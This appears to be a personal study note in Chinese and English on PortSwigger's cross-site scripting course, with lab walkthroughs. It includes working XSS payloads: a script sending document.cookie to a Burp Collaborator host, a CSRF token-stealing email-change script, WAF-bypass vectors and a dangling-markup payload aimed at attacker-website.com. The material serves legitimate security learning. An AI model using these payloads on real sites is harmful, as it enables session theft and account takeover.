0%

跨站脚本攻击

男儿立志出乡关 , 学不成名誓不还 .

hexo似乎不能渲染我瞎写的attribute

reference: https://portswigger.net/web-security/cross-site-scripting

Cross-site scripting

What is cross-site scripting (XSS)?

 allows an attacker to compromise the interactions that users have with a vulnerable application
 
allows an attacker to circumvent the same origin policy

masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user’s data

How does XSS work?

returns malicious JavaScript to users

XSS proof of concept

  • alert() short , harmless , hard to miss

    Chrome. From version 92 onward (July 20th, 2021), cross-origin iframes are prevented from calling alert()

  • print() alert() is dead, long live print()

What are the types of XSS attacks?

  • Reflected XSS, where the malicious script comes from the current HTTP request.
  • Stored XSS, where the malicious script comes from the website’s database.
  • DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

Reflected cross-site scripting

simplest variety of cross-site scripting

It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
simple example :

1
2
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>

construct an attack:

1
2
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>

Reflected XSS

What is reflected cross-site scripting?

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

有个参数:

1
https://insecure-website.com/search?term=gift

“includes that data within the immediate response in an unsafe way”

1
<p>You searched for: gift</p>

构建payload

1
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

最终在受害者浏览器中:

1
<p>You searched for: <script>/* Bad stuff here... */</script></p>

这个lab我还做过了, 啥时候做的.

Impact of reflected XSS attacks

  • Perform any action within the application that the user can perform.
  • View any information that the user is able to view.
  • Modify any information that the user is able to modify.
  • Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
    也有多种方法”induce a victim user to make a request that they control, to deliver a reflected XSS attack” :
  • placing links on a website controlled by the attacker , or on another website that allows content to be generated
  • sending a link in an email, tweet or other message

    The need for an external delivery mechanism for the attack means that the impact of reflected XSS is generally less severe than stored XSS

Reflected XSS in different contexts

 The location of the reflected data within the application’s response determines what type of payload is required to exploit it and might also affect the impact of the vulnerability.

^db97e0

同样的, validation or other processing on the submitted data 也会有影响.

How to find and test for reflected XSS vulnerabilities

推荐了Burp Suite’s web vulnerability scanner
手动地去检测遵循以下步骤:

  • Test every entry point.
    1. parameters or other data within the URL query string and message body
    2. the URL file path
    3. HTTP headers

      although XSS-like behavior that can only be triggered via certain HTTP headers may not be exploitable in practice

  • Submit random alphanumeric values.
    1. The value should be designed to survive most input validation
      1. short and contain only alphanumeric characters

         But it needs to be long enough to make accidental matches within the response highly unlikely.? 我没看懂这个”make accidental matches within the response” 噢 是说使出现意外匹配的概率小.

    2. A random alphanumeric value of around 8 characters is normally ideal.
    3. 可以用Burp Intruder’s number payloads , 同时使用Burp Intruder’s grep payloads settings to automatically flag responses that contain the submitted value.
  • Determine the reflection context

    我理解的就是标签闭合的问题.

  • Test a candidate payload
    1. 就是去测试是否payload是否能工作
    2. 技巧:
      1. An efficient way to work is to leave the original random value in the request and place the candidate XSS payload before or after it.
      2. Then set the random value as the search term in Burp Repeater’s response view.
      3. 帮助快速定位
  • Test alternative payloads.

    上一步的payload不成功(被修改了 , block了) , 就需要基于context of the reflection and the type of input validation来构造 alternative payloads and techniques

  • Test the attack in a browser.
    1. transfer the attack to a real browser (by pasting the URL into the address bar, or by modifying the request in Burp Proxy’s intercept view
    2. see if the injected JavaScript is indeed executed
    3. 最好是执行些明显的alert(document.domain)

Common questions about reflected cross-site scripting

What is the difference between reflected XSS and stored XSS?
With stored XSS, the application instead stores the input and embeds it into a later response in an unsafe way.

What is the difference between reflected XSS and self-XSS?
Self-XSS:

  1. involves similar application behavior to regular reflected XSS
  2.  it cannot be triggered in normal ways via a crafted URL or a cross-domain request
  3. only triggered if the victim themselves submits the XSS payload from their browser ( ? 反射型不也是受害者自己浏览器提交的吗?)
  4.  normally involves socially engineering the victim to paste some attacker-supplied input into their browser(?)
  5.  it is normally considered to be a lame, low-impact issue.

Stored cross-site scripting

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way. 与反射型的显著区别.

常见的例子:

  1. 数据通过HTTP requests提交:
    • comments on a blog post
    • user nicknames in a chat room
    • contact details on a customer order
  2. from other untrusted sources:
    • a webmail application displaying messages received over SMTP
    • a marketing application displaying social media posts
    • a network monitoring application displaying packet data from network traffic

      这些真能执行XSS吗?

举例: 网站允许用户提交信息:

1
<p>Hello, this is my message!</p>
1
<p><script>/* Bad stuff here... */</script></p>

这里还提供了一个Cross-site scripting cheat sheet 大致一看 ,很有用 , “contains many vectors that can help you bypass WAFs and filters.”

Stored XSS

What is stored cross-site scripting?

Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

例子: 发表评论

1
2
3
4
5
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

如果application不对数据做任何处理 , 就可以构造malicious comment

1
<script>/* Bad stuff here... */</script>`

经过URL编码

1
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E

最终页面:

1
<p><script>/* Bad stuff here... */</script></p>

Lab: Stored XSS into HTML context with nothing encoded

直接写HTML标签即可, burp 都不用打开.

Impact of stored XSS attacks

 typically fully compromise that user

the key difference between reflected and stored XSS is that a stored XSS vulnerability enables attacks that are self-contained within the application itself.

这里还提到一个 , XSS 漏洞的受害者是否登陆了的问题 . 如果用户没有登陆 , 显然攻击者所造成的危害较小 . 这里还提到说反射型XSS , 攻击是偶然的, 用户不一定是登陆的 , 如果没登陆就不会造成损害 . 相对的 , 如果是存储型XSS , 用户”encounter the exploit” 就一定会是登陆了的.(这里我个人持保留意见).

Stored XSS in different contexts

这里跟反射型也是同样的[[#^db97e0]] , 它相应位置不同 , validation or other processing on the data不同 , payload也需要做出相应的改变 .

这里与[[#Reflected XSS in different contexts]]是一个道理.

How to find and test for stored XSS vulnerabilities

这里也是推荐了Burp Suite’s web vulnerability scanner

这里也是提到了个”Testing for stored XSS vulnerabilities manually can be challenging.”

You need to test all relevant “entry points” via which attacker-controllable data can enter the application’s processing, and all “exit points” at which that data might appear in the application’s responses.

  1. Entry points into the application’s processing include:
    • Parameters or other data within the URL query string and message body.
    • The URL file path.
    • HTTP request headers that might not be exploitable in relation to reflected XSS.
    • Any out-of-band routes via which an attacker can deliver data into the application.这就得视具体情况而定了.
      1. a webmail application will process data received in emails
      2. an application displaying a Twitter feed might process data contained in third-party tweets
      3. a news aggregator will include data originating on other web sites
        exit points for stored XSS attacks are all possible HTTP responses that are returned to any kind of application user in any situation.

        所有可以利用的都可以利用. emmm , 写出来才发现这句话特别像一句话.

testing for stored XSS vulnerabilities:

  1. locate the links between entry and exit points
    存在一定难度 , 因为:
    1. Data submitted to any entry point could in principle be emitted from any exit point. 比方说上述的用户提交的name 不是一定就会显示的.
    2. Data that is currently stored by the application is often vulnerable to being overwritten due to other actions performed within the application.
  2. submitting a specific value into the entry point, navigating directly to the exit point, and determining whether the value appears there.

    感觉上就是去试着来 , 但是这种方法 ,application 页面一多了就不大行.

  3. Instead, a more realistic approach is to work systematically through the data entry points, submitting a specific value into each one, and monitoring the application’s responses to detect cases where the submitted value appears.

    当然也要有所针对性 , 比方说上述的评论等功能.

  4. When the submitted value is observed in a response, you need to determine whether the data is indeed being stored across different requests, as opposed to being simply reflected in the immediate response.
    之后的test也类似反射型[[#How to find and test for reflected XSS vulnerabilities]]

DOM-based cross-site scripting

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

例子: an application uses some JavaScript to read the value from an input field and write that value to an element within the HTML

1
2
3
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

可以构造:

1
You searched for: <img src=1 onerror='/* Bad stuff here... */'>

DOM-based XSS

What is DOM-based cross-site scripting?

DOM-based XSS vulnerabilities usually arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution, such as eval() or innerHTML.

The most common source for DOM XSS is the URL, which is typically accessed with the window.location object.

我对这个DOM很是陌生啊, 一点不了解.The Document Object Model (DOM) is a web browser’s hierarchical representation of the elements on the page.
这里直接跳到最后了

这下真是, 前面的区域以后再探索把.

Which sinks can lead to DOM-XSS vulnerabilities?

The following are some of the main sinks that can lead to DOM-XSS vulnerabilities:

1
2
3
4
5
6
7
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

What can XSS be used for?

  • Impersonate or masquerade as the victim user.伪装成目标
  • Carry out any action that the user is able to perform.
  • Read any data that the user is able to access.
  • Capture the user’s login credentials.
  • Perform virtual defacement of the web site.
  • Inject trojan functionality into the web site.

Impact of XSS vulnerabilities

generally depends on the nature of the application, its functionality and data, and the status of the compromised user.

例子:

  • 静态应用 , 用户都是匿名的, 所有信息都是公开的 , 影响通常就很小
  • 有敏感信息的应用, 像银行 ,邮箱 , 医疗记录 , 就会带来很严重的影响
  • 受害用户对应用有高级权限 , 就会很致命.

How to find and test for XSS vulnerabilities

这里他又推荐了一遍Burp Suite’s web vulnerability scanner

手工地测试XSS漏洞 就跟前边写的一样, 这里还概括了怎样手工测试DOM-based XSS

placing some simple unique input in the parameter, using the browser’s developer tools to search the DOM for this input, and testing each location to determine whether it is exploitable.

但是其它类型的DOM-based XSS就得审计源码了

To find DOM-based vulnerabilities in non-URL-based input (such as document.cookie) or non-HTML-based sinks (like setTimeout), there is no substitute for reviewing JavaScript code

Content security policy

Content security policy (CSP) is a browser mechanism that aims to mitigate the impact of cross-site scripting and some other vulnerabilities.

不过他也提到, 通常情况下 , CSP是可以被绕过的.

Content security policy

What is CSP (content security policy)?

It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.

To enable CSP, a response needs to include an HTTP response header called Content-Security-Policy with a value containing the policy.
这里的几个lab看着都是expert , 不是很有做的欲望.

Exploiting cross-site scripting vulnerabilities

Exploiting cross-site scripting to steal cookies

传统利用方式, 但是也有不足:

  • The victim might not be logged in.
  • Many applications hide their cookies from JavaScript using the HttpOnly flag.
  • Sessions might be locked to additional factors like the user’s IP address.
  • The session might time out before you’re able to hijack it.

Lab: Exploiting cross-site scripting to steal cookies

这里lab描述就指出了评论中存在一个存储型XSS , 但是进入lab后没发现exploit server ,这怎么去获取其余用户的cookie?

ok , 下边推荐用Burp Collaborator ,知道哥们的Burp Collaborator不大行 , 还提示有别的方法, 真贴心.

solution给出的一种解法是: 借助Burp Collaborator 构建如下payload

1
2
3
4
5
6
7
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

哥们怀着虔诚的心, 又跑了一遍health check, 结果没有变化(有变化就有点诡异了说实话)

做了一遍结果也是不出所料 , 一点反应没有 . 太妙了 , 我必须利用XSS漏洞来执行CSRF .

最挫败的一集 , 如果之后的lab都需要使用Burp Collaborator , 哥们将会成为赵括第二.

Exploiting cross-site scripting to capture passwords

这里提到: 利用密码管理器(坏了 ,我成目标群体了) , creating a password input, reading out the auto-filled password, and sending it to your own domain.

这让我想到了Google之前密码管理器的漏洞 , 可以通过系统调用获取明文密码.

这里的lab同样需要Burp Collaborator

Exploiting cross-site scripting to perform CSRF

好消息, 我想这里的lab应该不至于需要Burp Collaborator

这里更多就是CSRF的内容了[[XSS vs CSRF]][[Cross-site request forgery(CSRF)跨站请求伪造]]

Lab: Exploiting XSS to perform CSRF

这里登陆后修改邮件地址, 可以看到相应的http request :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /my-account/change-email HTTP/2
Host: 0a9f005303994228819d2040002d0023.web-security-academy.net
Cookie: session=EAdmVpbKNfVZOJwwV3sk9CAUS93jvzvM
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a9f005303994228819d2040002d0023.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9f005303994228819d2040002d0023.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

email=1%401.com&csrf=QAAYDU7lB7RVs1NOgzwVmsySQhyM1fn6

可以看到是有CSRF token的 .

这里我自己尝试去构建payload , 结果发现不大行, 不会JavaScript 不会HTML 没搭过网站, 就是不大行 .

题解中给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Dangling markup injection

Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full cross-site scripting exploit is not possible

Dangling markup injection

What is dangling markup injection?

说到底还是由于完全的XSS不行 , 退而求其次 .

Suppose an application embeds attacker-controllable data into its responses in an unsafe way:

1
<input type="text" name="input" value="CONTROLLABLE DATA HERE

并且假定应用不会过滤或是escape the > or " characters.

攻击者就可以使用">来闭合属性值 , 但是由于完全的XSS不可行, 所以去deliver a dangling markup injection attack using a payload like the following:

1
"><img src='//attacker-website.com?

注意:the attacker’s payload doesn’t close the src attribute, which is left “dangling”.

我的理解是他这个src属性没闭合 ,所以在闭合之前 ,会有敏感数据作为URL query被送去攻击者的网址. 所以是”dangling” , 因为没闭合 , 所以咣当着.

The consequence of the attack is that the attacker can capture part of the application’s response following the injection point, which might contain sensitive data.

How to prevent XSS attacks

总的来说 , 有如下措施:

  • Filter input on arrival.
  • Encode data on output.
  • Use appropriate response headers. you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.

    我想到了文件上传那里的MIME

  • Content Security Policy

Common questions about cross-site scripting

  • How common are XSS vulnerabilities?
  • How common are XSS attacks?
  • What is the difference between XSS and CSRF?
  • What is the difference between XSS and SQL injection?

    一个是cilent-side, 目标是用户 ; 一个是 server-side , 目标是后端的数据库

  • How do I prevent XSS in PHP?

    Filter your inputs with a whitelist of allowed characters and use type hints or type casting. Escape your outputs with htmlentities and ENT_QUOTES for HTML contexts, or JavaScript Unicode escapes for JavaScript contexts.

  • How do I prevent XSS in Java?

    Filter your inputs with a whitelist of allowed characters and use a library such as Google Guava to HTML-encode your output for HTML contexts, or use JavaScript Unicode escapes for JavaScript contexts.

Cross-site scripting contexts

When testing for reflected and stored XSS, a key task is to identify the XSS context

  • The location within the response where attacker-controllable data appears.
  • Any input validation or other processing that is being performed on that data by the application.
    因为这些因素决定了应当构造怎样的payload.

XSS between HTML tags

 introduce some new HTML tags designed to trigger execution of JavaScript.

1
2
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

Lab: Reflected XSS into HTML context with most tags and attributes blocked

 这里题目描述中指出 , 页面使用了web application firewall (WAF) , 但是可以使用print() .

我尝试构造了payload

1
<script>print(document.domain)</script>

结果并不行. 看到solution也是先尝试Inject a standard XSS vector

1
<img src=1 onerror=print()>

观察到没有执行(get blocked). solution是使用Burp Intruder来测试哪些tags 和属性 可以 .

  1. 测试搜索功能 , 将相应request发到Intruder . 在search参数上添加变量
  2. 然后利用 XSS cheat sheet ,复制tags , 粘贴到intruder里 ,
  3. 然后让它跑 , 跑出来看到只有bodycustom tag可以跑通
  4. 然后再构建search的参数<body%20=1> ,放到intruder里, 再去XSS cheat sheet and click “copy events to clipboard”.
  5. 然后让它跑 , 爬出来发现有一些payload是可以的.
  6. 使用onresize去构建payload:
    1
    <iframe src="https://0a2b00c903b6b0c880dc803100030051.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
    即可solve

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

这个lab与上个lab就不同, 需要使用custom tag . 我这也没接触过custom tag .

看了solution , 题解中使用一个a custom tag with the ID x, which contains an onfocus event handler that triggers the alert function.

1
2
3
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

以上decode之后是这样的:

1
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>#x';

这里末尾的这个没明白怎么回事? 而且这里由于我手贱 , payload 推送出去了 , lab solved ,只能是过段时间再来做改一下这个payload 来试试看了.

Lab: Reflected XSS with some SVG markup allowed

这里lab描述中指出: The site is blocking common tags but misses some SVG tags and events.

这里看了solution , 发现他还是用burp intruder去添加参数扫的.
扫出来看到<svg><animatetransform><title>, and <image> tags都是可以的,然后就是进一步构造payload , 然后再去扫events , 扫出来onbegin是可以的. 最终构建payload:
https://0a65002104e51cc48011bc2300d4009f.h1-web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

XSS in HTML tag attributes

这里的中心思想就是,terminate the attribute value, close the tag, and introduce a new one

1
"><script>alert(document.domain)</script>

更多情况下,尖括号are blocked or encoded.所以can normally introduce a new attribute that creates a scriptable context, such as an event handler.

1
" autofocus onfocus=alert(document.domain) x="

payload creates an onfocus event that will execute JavaScript when the element receives the focus, and also adds the autofocus attribute to try to trigger the onfocus event automatically without any user interaction. Finally, it adds x=" to gracefully repair the following markup.

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

这里就是使用闭合括号了,用repeater测试后发现response中有:

1
2
3
4
5
6
7
8
9
10
<section class=blog-header>
<h1>0 search results for 'meifabi'</h1>
<hr>
</section>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value="meifabi">
<button type=submit class=button>Search</button>
</form>
</section>

尝试去构造payload:

1
"onmouseover="alert(1)

最终response

1
2
<input type=text placeholder='Search the blog...' name=search value=""onmouseover="alert(1)">
<button type=submit class=button>

 you can execute JavaScript without needing to terminate the attribute value.
 
if the XSS context is into the href attribute of an anchor tag, you can use the javascript pseudo-protocol to execute script.

1
<a href="javascript:alert(document.domain)">

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

payload

1
csrf=6AhHoIYjpaAbxYrerfaKUYD1JHOK9dTf&postId=6&comment=test&name=1&email=1%401.com&website=javascript:alert(1)